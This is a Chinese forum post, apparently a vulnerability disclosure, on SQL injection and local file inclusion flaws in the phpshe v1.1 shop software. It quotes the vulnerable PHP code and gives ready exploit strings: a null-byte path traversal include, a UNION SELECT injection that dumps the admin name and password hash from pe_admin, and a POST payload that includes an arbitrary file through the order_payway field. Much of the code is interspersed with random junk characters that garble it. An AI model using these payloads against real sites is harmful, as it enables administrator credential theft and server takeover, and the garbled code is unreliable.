phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin · 发表于 2013-4-16 16:45:03

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

//首页文件
pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php"); //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

# i" O6 h) K( }5 V% O! f2 ~
. U" \- w/ e/ P6 { 0×02 搜索注入
8 ?5 \; Z1 e U, c5 k" r
- Q0 V$ b2 r3 Q6 O" R<code id="code2">

//product.php文件3 g3 {1 W; d8 \; `( q6 \; d4 ?
case 'list':
! H$ H$ I# j! x; a; D$category_id = intval($id);
. W- s4 D# l$ V3 Q) _$info = $db->pe_select('category', array('category_id'=>$category_id));
3 g/ m  [( f$ A//搜索
/ E2 m! f" Y8 ~6 p+ A' j2 _, m$sqlwhere = " and `product_state` = 1";9 x" _) t9 k) @1 |
pe_lead('hook/category.hook.php');
2 A1 v* M! y# B0 u( c% |if ($category_id) {
; Q; B7 t* z+ \4 V9 C4 k! dwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";9 w. _# S8 I- Q! a6 R( O( |6 B
}0 {& N# O- K# q8 V4 r5 x) V
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
; Z' g( s* X0 z. f, Wif ($_g_orderby) {
6 d! d) `5 D8 b! p9 Z4 O$orderby = explode('_', $_g_orderby);: ~) l* U( D) M3 J
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
  O% h9 O9 E! x, m% m4 F6 F1 D6 _}# g" W4 I# u" Q8 O) H# c2 i
else {9 C/ f5 h4 B( ?3 Z8 b3 M6 G
$sqlwhere .= " order by `product_id` desc";0 o& ]" p1 x; I! K
}! J/ r8 L& W$ [# ~. g
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
% |% u) h. Q; N& v3 e* {* B- d//热卖排行
- G9 n( g9 v  j$ M! p* i$product_hotlist = product_hotlist();
- j0 e. S! t$ B' U//当前路径
/ F" K* L2 n( A5 Z: ^7 H" S4 @( Q$nowpath = category_path($category_id);' [# T8 c8 Z) h9 d) ?  n2 r% U$ i) L
$seo = pe_seo($info['category_name']);
5 R' b7 ?" i3 d/ T; [, P% j2 t' ~include(pe_tpl('product_list.html'));  I9 \: s9 p8 l; ]0 b
//跟进selectall函数库
" q4 k0 {3 x$ \1 D! epublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array()), n& @& L8 a7 p
{- l& H! [" Q4 f% c  s# W
//处理条件语句6 V0 a% I# l! b! G0 |
$sqlwhere = $this->_dowhere($where);$ {' C1 X% G) O* [. ^
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);( A( g$ g, C0 {: ?' y( ?" V
}9 j2 H: d2 \; z2 p  O
//exp
, Q  A8 D; Z  J6 |! a( G9 Kproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
7 A, G9 f* ~1 O6 z1 L, o- S

</code>
- V7 M' U# ?2 X6 j
3 i5 y9 _1 R) i1 v# {( g0×03 包含漏洞2* v8 T9 S9 G7 o2 g
* j8 c& K8 q' z/ A+ Q5 ~. F
<code id="code3">

//order.php

case 'pay':

" y; _. X( X2 C9 `; |' K
$order_id = pe_dbhold($_g_id);

: W, A* z5 A# J L$cache_payway = cache::get('payway');

E- h F/ ~" r6 n$ S: o* }
foreach($cache_payway as $k => $v) {

+ X( s, U. M# J5 S; s: z) z$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

: o9 G( |" y0 n) T( J2 C( fif ($k == 'bank') {

3 Q9 j- ~" c, q" Q7 U0 k# I$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

4 t+ {1 o( y/ W) k; j0 A3 G}

7 ]. S% R3 A1 {# x, C _
}

6 W# d Y! R5 n0 e$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

/ I0 I; z2 u1 `/ ?9 a2 Q" }% J!$order['order_id'] && pe_error('订单号错误...');

! ^, X& \& p6 O* f: p
if (isset($_p_pesubmit)) {

) z, o3 H3 b ]' D, J
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

, Q) r* N4 j' n# o, w
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

H- z5 J$ M; U/ W+ Z0 n( Yforeach ($info_list as $v) {

& @2 q8 V4 c- [0 g+ Q' e3 W; ]$order['order_name'] .= "{$v['product_name']};";
3 }& D' u9 x* o* H o0 I

: e, }' `$ A; f/ a
}

: z$ i2 G9 y9 O- B8 a$ ~3 Hecho '正在为您连接支付网站，请稍后...';

3 E; I$ |1 B) K8 z, F2 J1 L
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

+ g3 Z* G5 J5 M5 {3 H9 N- m
}//当一切准备好的时候就可以进行"鸡肋包含了"

4 {5 x9 C) P' j/ Pelse {

5 Z; _( y% F) V ]; b# v
pe_error('支付错误...');

* D$ r% D4 ~3 z: B}

) W4 {( {4 d; W: Z0 L
}

$ ?% y8 a' R. r% K7 }6 K5 U2 H
$seo = pe_seo('选择支付方式');

8 `! _' w" L) ]- |" xinclude(pe_tpl('order_pay.html'));

4 V" L* `1 g+ d- U" K7 ~' T; A; E
break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>% _* |! E& M& d2 e! j: D
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phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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